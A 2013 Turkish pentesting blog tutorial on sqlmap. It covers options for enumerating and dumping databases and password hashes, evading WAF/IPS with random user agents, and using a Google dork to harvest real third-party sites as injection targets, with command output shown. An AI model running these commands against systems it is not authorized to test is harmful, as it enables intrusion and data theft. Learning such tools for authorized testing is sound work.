22 Mart 2013

Sızma testlerinde sqlmap kullanımı - I

Posted by: Fırat Celal Erdik 22 Mart 2013
Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar etme aracıdır. Kendisine sağlanan hedef web uygulamasının kullandığı veritabanı  sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder yine kendisine sağlanan parametrelere göre çeşitli  bilgileri  hedef veritabanından alır.

Sqlmap ile hedef hakkında elde edilebilen bazı veriler;
  • Veritabanı türü ve versiyonu (--banner,--all)
  • Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (--current-db, --dbs)
  • Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (--tables, --columns)
  • Veritabanı datası(--dump, --dump-all)
  • Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(--current-user,--users)
  • Veritabanı kullanıcı parolası (--passwords)
  • Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(--is-dba)
  • Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)
Sqlmape farklı tiplerde hedef belirtilebilmektedir;
  • URL (--url, -r )
  • Burp suite ve WebScarp proxy logu (--log , -l)
  • HTTP talepleri bir dosyadan okutulabilmektedir. (--r)
  • Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
  • /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c)
Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı işlemlerde (WAF/IPS/IDS keşfi yapıp/yapmama,uzak sunucuda okunacak dosya, uzak sunucuda yürütülecek komut v.b ) yaptırılabilmektedir.

Not: Sqlmap ile çalışmaya başlamadan önce ilgili dizine girip sqlmap update edilmelidir. Bunun için aşağıdaki komut backtrack üzerinde kullanılabilir.

root@bt:~# cd /pentest/database/sqlmap/;svn update;python2 sqlmap.py --update

Sqlmap,  -g parametresi ile belirli ifadeler (sqli açıklığı barındırdığı bilinen URL'ler) google üzerinden bulup, üzerindeki sql injection açıklığını istismar edebilmektedir.

Sqlmap bulduğu URL'leri sıra ile exploit etmek isteyip istemediğimizi sormaktadır.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -g "inurl:index.php?id=" --dbs
[14:35:17] [INFO] first request to Google to get the session cookie
[14:35:18] [INFO] using Google result page #1
[14:35:25] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:35:25] [INFO] sqlmap got 105 results for your Google dork expression, 100 of them are testable targets
[14:35:25] [INFO] sqlmap got a total of 100 targets
url 1:
GET http://www.du.ac.in/index.php?id=165
do you want to test this url? [Y/n/q]
> n

url 2:
GET http://www.uni-corvinus.hu/index.php?id=7745
do you want to test this url? [Y/n/q]
> n

url 3:
GET http://www.harkavagrant.com/index.php?id=341
do you want to test this url? [Y/n/q]
>


--data parametresi ile hedef URL'e ait post verisi manuel olarak da verilebilmektedir.
--cookie parametresi ile hedef sisteme bağlanmak için cookie bilgisi verilebilmektedir. Parola korumalı hedeflerdeki sql injection açıkları bu şekilde kolaylıkla istismar edilebilmektedir.

Sqlmap http kimlik doğrulama yöntemlerinden bacic,ntlm ve digest yöntemlerini desteklemektedir. Bu tür http kimlik doğrulama türleri ile korunan hedef sistemlere yönelik açıklıklarda istismar edilebilir. --auth-type Basic --auth-cred "user:pass"

Taramalar http, https ve tor proxy üzerinden gerçekleştirilebilmektedir. Proxy kullanımı için --proxy parameteresi, proxy serverlar üzerinde kimlik dogrulama için --proxy-cred parametreleri kullanılmaktadır.

--proxy Http --proxy-cred "user:pass"

Hedef sunucu veya sunucu önünde bulunan WAF/IPS benzeri güvenlik cihazları bazı http header parametrelerini gelen istekte görmek isterler.

Bunlardan bir kaçı user agent ve referer gibi başlık bilgileridir. Güvenlik cihazları üzerinde bulunan whitelistlerde tanımlı bazı user agentlar ile gelen client istekleri cevaplanır bunun dışında gelenler bloklanır. Sqlmap ile bu durum user agent için, --user-agent veya --random-agent parametreleri ile atlatılabilmektedir.
--user agent ile istenilen bir user agent header bilgisi input olarak verilebilmektedir.
--random-agent paremetresi kullanılması durumunda ise ./txt/user-agent.txt dosyasındaki yaklaşık 2100 user agent içerisinden rast gele seçilerek hedef üzerinde zaafiyet istismar denemeleri gerçekleştirir. Referrer için ise --referer parametresi kullanılabilir.

Not:HTTP header bilgilerinin kullanılması için --level ile 3 ve üstü bir değer ifade edilmelidir.

--delay parametresi ile gönderilen http(s) istekleri arasındaki gecikme miktarı da saniye cinsinden ifade edilebilmektedir. --delay parametresi float türde veri de kabul etmektedir. ( --delay=1.5 )

--timeout parametresi ile normal http timeout süresi göz önünde bulundurulmadan önceki bekleme süresi belirtilebilir. Buda fload türde bir değişken olarak tanımlıdır (ondalıklı verilebilir) ve ön tanımlı olarak sqlmap.conf dosyasında 30 sn olarak ayarlanmıştır.

root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep timeout
# Seconds to wait before timeout connection.
timeout = 30
# Maximum number of retries when the HTTP connection timeouts.

--retries parametresi ile timeouta uğrayan http(s) isteklerinin tekrarlanma sayısı verilebilir. Bu değer sqlmap.conf dosyasında ön tanımlı olarak 3 olarak belirtilmiştir.

root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep retries
# Maximum number of retries when the HTTP connection timeouts.
retries = 3

Konunun daha iyi anlaşılması için bir kaç somut örnek üzerinden devam edelim.Hedef sisteme ait veritabanı kullanıcısını belirleme(--current-user) ve bu kullanıcının veritabanı admin haklarına sahip olup olmadığını(--is-dba) belirleyelim. Ayrıca uzak sistem üzerindeki işletim sistemi/versiyonu, kullanılan web teknolojisi adı/versiyonu, veritabanı uygulaması türü/versiyonu (-f) gibi bilgileri alalım.

root@bt:~# cd /pentest/database/sqlmap/;python2 sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' --current-user --is-dba -f

[16:59:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005

[16:59:19] [INFO] fetching current user
current user:    'acunetix'
[16:59:21] [INFO] testing if current user is DBA
current user is DBA:    False

Görüldüğü gibi mevcut kullanıcımız acunetix kullanıcısıdır ve dba degildir. Hedef sistem işletim sistemi ve kullanılan teknoloji bilgileride yukarıda çıktıda görülmektedir.

Bazen sqlmap URL bağlantısını test etmeye çalıştıgında timeout alarak URL bağlantı kuramaz. Gerçekten bağlantı olup olmadığını kendi browserimizdan adres çağrılarak görülebilir. Şayet browser üzerinden ilgili adrese bağlantı gerçekleştiriliyor fakat sqlmap bağlantı kuramıyorsa, bu gibi durumlarda hedef web uygulaması tarafında bizim user agent bilgimiz kontrol ediliyor olabilir.

Bu tür sorunları aşmak için --random-agent parametresi ile çeşitli user agent bilgileri ile hedef test edilirse sonuç başarılı olacaktır. Aşağıda örnek bir kullanım verilmiştir. -v 3 parametresi ile gönderilen tüm payloadlar görülebilir. --retries ile timeout vs. gibi başarısız bağlantılarda tekrar denenmemesi için 0 değeri set edilmiştir.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://www.example.com/test/index.asp?id= 1' --random-agent -p word --dbs --dbms=mssql --keep-alive --time-sec=1 -v 3 --retries 0 --timeout=1 --dbs --threads=10

0 yorum:

Yorum Gönder

Her türlü eleştiri,yorum,ekleme ve düzeltmeye yönelik fikirlerinizi paylaşabilirsiniz.Hakaret içeren yorumlar filtrelenmektedir.

Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.